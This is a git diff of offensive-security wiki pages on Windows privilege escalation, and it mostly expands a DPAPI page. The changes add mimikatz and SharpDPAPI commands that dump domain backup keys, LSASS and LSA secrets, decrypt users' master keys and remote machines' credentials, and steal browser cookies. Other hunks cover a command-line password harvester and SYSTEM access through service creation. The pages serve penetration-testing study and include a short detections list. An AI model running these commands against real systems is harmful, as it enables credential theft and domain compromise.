**HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectively. This registry is created by merging the **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.** +COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). @@ -1437,11 +1437,15 @@ Also the following tool allows to **intercept a named pipe communication with a ## Misc +### File Extensions that could execute stuff in Windows + +Check out the page **[https://filesec.io/](https://filesec.io/)** + ### **Monitoring Command Lines for passwords** When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. -```powershell +```bash while($true) { $process = Get-WmiObject Win32_Process | Select-Object CommandLine @@ -1525,13 +1529,16 @@ Then **read this to learn about UAC and UAC bypasses:** ### **New service** -If you are already running on a High Integrity process, the **pass to SYSTEM** can be easy just **creating and executing a new service**: +If you are already running on a High Integrity process, the **path to SYSTEM** can be easy just **creating and executing a new service**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` +> [!NOTE] +> When creating a service binary make sure it's a valid service or that the binary performs the necessary actions to fast as it'll be killed in 20s if it's not a valid service. + ### AlwaysInstallElevated From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ @@ -1560,9 +1567,9 @@ If you manages to **hijack a dll** being **loaded** by a **process** running as ### **From Administrator or Network Service to System** -{{#ref}} -https://github.com/sailay1996/RpcSsImpersonator -{{#endref}} +- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) +- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) +- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) ### From LOCAL SERVICE or NETWORK SERVICE to full privs diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index e2c658848..d4f4cf7d9 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -53,7 +53,7 @@ foreach ($Task in $Tasks) Checking the output you can select one that is going to be executed **every time a user logs in** for example. -Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU. +Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU. ```bash # Exists in HKCR\CLSID\ diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md index f9fee2424..139bd9f5e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -24,7 +24,7 @@ The problem in this cases is that probably thoses processes are already running. - **Create** the folder `C:\privesc_hijacking` and add the path `C:\privesc_hijacking` to **System Path env variable**. You can do this **manually** or with **PS**: -```powershell +```bash # Set the folder path to create and check events for $folderPath = "C:\privesc_hijacking" diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index 0c6744fc3..211d849a8 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -8,58 +8,31 @@ The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the **symmetric encryption of asymmetric private keys**, leveraging either user or system secrets as a significant source of entropy. This approach simplifies encryption for developers by enabling them to encrypt data using a key derived from the user's logon secrets or, for system encryption, the system's domain authentication secrets, thus obviating the need for developers to manage the protection of the encryption key themselves. -### Protected Data by DPAPI +The most common way to use DPAPI is through the **`CryptProtectData` and `CryptUnprotectData`** functions, which allow applications to encrypt and decrypt data securely with the session of the process that is currently logged on. This means that the encrypted data can only be decrypted by the same user or system that encrypted it. -Among the personal data protected by DPAPI are: +Moreover, these functions accepts also an **`entropy` parameter** which will also be used during encryption and decryption, therefore, in order to decrypt something encrypted using this parameter, you must provide the same entropy value that was used during encryption. -- Internet Explorer and Google Chrome's passwords and auto-completion data -- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail -- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys -- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes -- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more +### Users key generation -## List Vault +The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the HTLM hash of the user**. -```bash -# From cmd -vaultcmd /listcreds:"Windows Credentials" /all +This is specially interesting because if an attacker can obtain the user's password hash, they can: -# From mimikatz -mimikatz vault::list -``` +- **Decrypt any data that was encrypted using DPAPI** with that user's key without needing to contact any API +- Try to **crack the password** offline trying to generate the valid DPAPI key -## Credential Files +Moreover, every time some data is encrypted by a user using DPAPI, a new **master key** is generated. This master key is the one actually used to encrypt data. Each master key is given with a **GUID** (Globally Unique Identifier) that identifies it. -The **credentials files protected** could be located in: +The master keys are stored in the **`%APPDATA%\Microsoft\Protect\\`** directory, where `{SID}` is the Security Identifier of that user. The master key is stored encrypted by the user's **`pre-key`** and also by a **domain backup key** for recovery (so the same key is stored encrypted 2 times by 2 different pass). -``` -dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ -dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ -Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ -Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ -``` +Note that the **domain key used to encrypt the master key is in the domain controllers and never changes**, so if an attacker has access to the domain controller, they can retrieve the domain backup key and decrypt the master keys of all users in the domain. -Get credentials info using mimikatz `dpapi::cred`, in the response you can find interesting info such as the encrypted data and the guidMasterKey. +The encrypted blobs contain the **GUID of the master key** that was used to encrypt the data inside its headers. -```bash -mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 +> [!NOTE] +> DPAPI encrypted blobs starts with **`01 00 00 00`** -[...] -guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe} -[...] -pbData : b8f619[...snip...]b493fe -[..] -``` - -You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt: - -``` -dpapi::cred /in:C:\path\to\encrypted\file /masterkey: -``` - -## Master Keys - -The DPAPI keys used for encrypting the user's RSA keys are stored under `%APPDATA%\Microsoft\Protect\{SID}` directory, where {SID} is the [**Security Identifier**](https://en.wikipedia.org/wiki/Security_Identifier) **of that user**. **The DPAPI key is stored in the same file as the master key that protects the users private keys**. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it using`dir` from the cmd, but you can list it from PS). +Find master keys: ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ @@ -74,17 +47,234 @@ This is what a bunch of Master Keys of a user will looks like: ![](<../../images/image (1121).png>) -Usually **each master keys is an encrypted symmetric key that can decrypt other content**. Therefore, **extracting** the **encrypted Master Key** is interesting in order to **decrypt** later that **other content** encrypted with it. +### Machine/System key generation -### Extract master key & decrypt +This is key used for the machine to encrypt data. It's based on the **DPAPI_SYSTEM LSA secret**, which is a special key that only the SYSTEM user can access. This key is used to encrypt data that needs to be accessible by the system itself, such as machine-level credentials or system-wide secrets. -Check the post [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) for an example of how to extract the master key and decrypt it. +Note that these keys **don't have a domain backup** so they are only accesisble locally: -## SharpDPAPI +- **Mimikatz** can access it dumping LSA secrets using the command: `mimikatz lsadump::secrets` +- The secret is stored inside the registry, so an administrator could **modify the DACL permissions to access it**. The registry path is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` -[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) is a C# port of some DPAPI functionality from [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/) project. -## HEKATOMB +### Protected Data by DPAPI + +Among the personal data protected by DPAPI are: + +- Windows creds +- Internet Explorer and Google Chrome's passwords and auto-completion data +- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail +- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys +- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes +- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more +- Encrypted blobs inside the register +- ... + +System protected data includes: +- Wifi passwords +- Scheduled task passwords +- ... + +### Master key extraction options + +- If the user has domain admin privileges, they can access the **domain backup key** to decrypt all user master keys in the domain: + +```bash +# Mimikatz +lsadump::backupkeys /system: /export + +# SharpDPAPI +SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk] +``` + +- With local admin privileges, it's possible to **access the LSASS memory** to extract the DPAPI master keys of all the connected users and the SYSTEM key. + +```bash +# Mimikatz +mimikatz sekurlsa::dpapi +``` + +- If the user has local admin privileges, they can access the **DPAPI_SYSTEM LSA secret** to decrypt the machine master keys: + +```bash +# Mimikatz +lsadump::secrets /system:DPAPI_SYSTEM /export +``` + +- If the password or hash NTLM of the user is known, you can **decrypt the master keys of the user directly**: + +```bash +# Mimikatz +dpapi::masterkey /in: /sid: /password: /protected + +# SharpDPAPI +SharpDPAPI.exe masterkeys /password:PASSWORD +``` + +- If you are inside a session as the user, it's possible to ask the DC for the **backup key to decrypt the master keys using RPC**. If you are local admin and the user is logged in, you could **steal his session token** for this: + +```bash +# Mimikatz +dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc + +# SharpDPAPI +SharpDPAPI.exe masterkeys /rpc +``` + + +## List Vault + +```bash +# From cmd +vaultcmd /listcreds:"Windows Credentials" /all + +# From mimikatz +mimikatz vault::list +``` + +## Access DPAPI Encrypted Data + +### Find DPAPI Encrypted data + +Common users **files protected** are in: + +- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*` +- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*` +- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*` +- Check also changing `\Roaming\` to `\Local\` in the above paths. + +Enumeration examples: + +```bash +dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ +dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ +Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ +Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ +``` + +[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) can find DPAPI encrypted blobs in the file system, registry and B64 blobs: + +```bash +# Search blobs in the registry +search /type:registry [/path:HKLM] # Search complete registry by default + +# Search blobs in folders +search /type:folder /path:C:\path\to\folder +search /type:folder /path:C:\Users\username\AppData\ + +# Search a blob inside a file +search /type:file /path:C:\path\to\file + +# Search a blob inside B64 encoded data +search /type:base64 [/base:] +``` + +Note that [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (from the same repo) can be used to decrypt using DPAPI sensitive data like cookies. + +### Access keys and data + +- **Use SharpDPAPI** to get credentials from DPAPI encrypted files from the current session: + +```bash +# Decrypt user data +## Note that 'triage' is like running credentials, vaults, rdg and certificates +SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect + +# Decrypt machine data +SharpDPAPI.exe machinetriage +``` + +- **Get credentials info** like the encrypted data and the guidMasterKey. + +```bash +mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 + +[...] +guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe} +[...] +pbData : b8f619[...snip...]b493fe +[..] +``` + +- **Access masterkeys**: + +Decrypt a masterkey of a user requesting the **domain backup key** using RPC: +```bash +# Mimikatz +dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc + +# SharpDPAPI +SharpDPAPI.exe masterkeys /rpc +``` + +The **SharpDPAPI** tool also supports these arguments for masterkey decryption (note how it's possible to use `/rpc` to get the domains backup key, `/password` to use a plaintext password, or `/pvk` to specify a DPAPI domain private key file...): + +``` +/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) +/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys +/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys +/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) +/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) +/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) +/rpc - decrypt the target user's masterkeys by asking domain controller to do so +/server:SERVER - triage a remote server, assuming admin access +/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) +``` + +- **Decrypt data using a masterkey**: + +```bash +# Mimikatz +dpapi::cred /in:C:\path\to\encrypted\file /masterkey: + +# SharpDPAPI +SharpDPAPI.exe /target: /ntlm: +``` + +The **SharpDPAPI** tool also supports these arguments for `credentials|vaults|rdg|keepass|triage|blob|ps` decryption (note how it's possible to use `/rpc` to get the domains backup key, `/password` to use a plaintext password, `/pvk` to specify a DPAPI domain private key file, `/unprotect` to use current users session...): + +``` +Decryption: +/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands +/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys +/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys +/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) +/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) +/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) +/rpc - decrypt the target user's masterkeys by asking domain controller to do so +GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption +/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption + +Targeting: +/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder +/server:SERVER - triage a remote server, assuming admin access + Note: must use with /pvk:KEY or /password:X + Note: not applicable to 'blob' or 'ps' commands +``` + +- Decrypt some data using **current user session**: + +```bash +# Mimikatz +dpapi::blob /in:C:\path\to\encrypted\file /unprotect + +# SharpDPAPI +SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect +``` + + +### Access other machine data + +In **SharpDPAPI and SharpChrome** you can indicate the **`/server:HOST`** option to access a remote machine's data. Of course you need to be able to access that machine and in the following example it's supposed that the **domain backup encryption key is known**: + +```bash +SharpDPAPI.exe triage /server:HOST /pvk:BASE64 +SharpChrome cookies /server:HOST /pvk:BASE64 +``` + +## Other tools + +### HEKATOMB [**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) is a tool that automates the extraction of all users and computers from the LDAP directory and the extraction of domain controller backup key through RPC. The script will then resolve all computers ip address and perform a smbclient on all computers to retrieve all DPAPI blobs of all users and decrypt everything with domain backup key. @@ -92,12 +282,18 @@ Check the post [https://www.ired.team/offensive-security/credential-access-and-c With extracted from LDAP computers list you can find every sub network even if you didn't know them ! -"Because Domain Admin rights are not enough. Hack them all." - -## DonPAPI +### DonPAPI [**DonPAPI**](https://github.com/login-securite/DonPAPI) can dump secrets protected by DPAPI automatically. +### Common detections + +- Access to files in `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` and other DPAPI-related directories. + - Specially from a network share like C$ or ADMIN$. +- Use of Mimikatz to access LSASS memory. +- Event **4662**: An operation was performed on an object. + - This event can be checked to see if the `BCKUPKEY` object was accessed. + ## References - [https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13) diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md index b5c742918..152d698aa 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md @@ -511,7 +511,7 @@ int main(int argc, char **argv) { In this example, **instead of abusing the open handle to inject** and execute a shellcode, it's going to be **used the token of the privileged open handle process to create a new one**. This is done in lines from 138 to 148. -Note how the **function `UpdateProcThreadAttribute`** is used with the **attribute `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` and the handle to the open privileged process**. This means that the **created process thread executing \_cmd.exe**\_\*\* will have the same token privilege as the open handle process\*\*. +Note how the **function `UpdateProcThreadAttribute`** is used with the **attribute `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` and the handle to the open privileged process**. This means that the **created process thread executing `cmd.exe`** will have the same token privilege as the open handle process**. ```c #include diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md index 4c2bb5e4a..1a87d8e19 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md @@ -137,7 +137,7 @@ If you want to get a `NT SYSTEM` shell you could use: - [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) - [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) -```powershell +```bash # Get the PID of a process running as NT SYSTEM import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) ``` @@ -154,7 +154,7 @@ The **tokens that appear as Disabled** can be enable, you you actually can abuse If you have tokens disables, you can use the script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) to enable all the tokens: -```powershell +```bash .\EnableAllTokenPrivs.ps1 whoami /priv ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index b274b010c..f5b7d0c03 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -118,7 +118,7 @@ This privilege permits the **debug other processes**, including to read and writ #### Dump memory -You could use [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) from the [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) to **capture the memory of a process**. Specifically, this can apply to the **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** process, which is responsible for storing user credentials once a user has successfully logged into a system. +You could use [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) from the [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) or [SharpDump](https://github.com/GhostPack/SharpDump) to **capture the memory of a process**. Specifically, this can apply to the **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** process, which is responsible for storing user credentials once a user has successfully logged into a system. You can then load this dump in mimikatz to obtain passwords: @@ -133,11 +133,11 @@ mimikatz # sekurlsa::logonpasswords If you want to get a `NT SYSTEM` shell you could use: -- \***\*[**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)\*\*** -- \***\*[**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)\*\*** -- \***\*[**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)\*\*** +- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) +- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) +- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) -```powershell +```bash # Get the PID of a process running as NT SYSTEM import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) ``` @@ -163,7 +163,7 @@ The **tokens that appear as Disabled** can be enable, you you actually can abuse If you have tokens disables, you can use the script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) to enable all the tokens: -```powershell +```bash .\EnableAllTokenPrivs.ps1 whoami /priv ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 627f1f790..a6efedddc 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`\*\* level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. +> [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. ## Quick Demo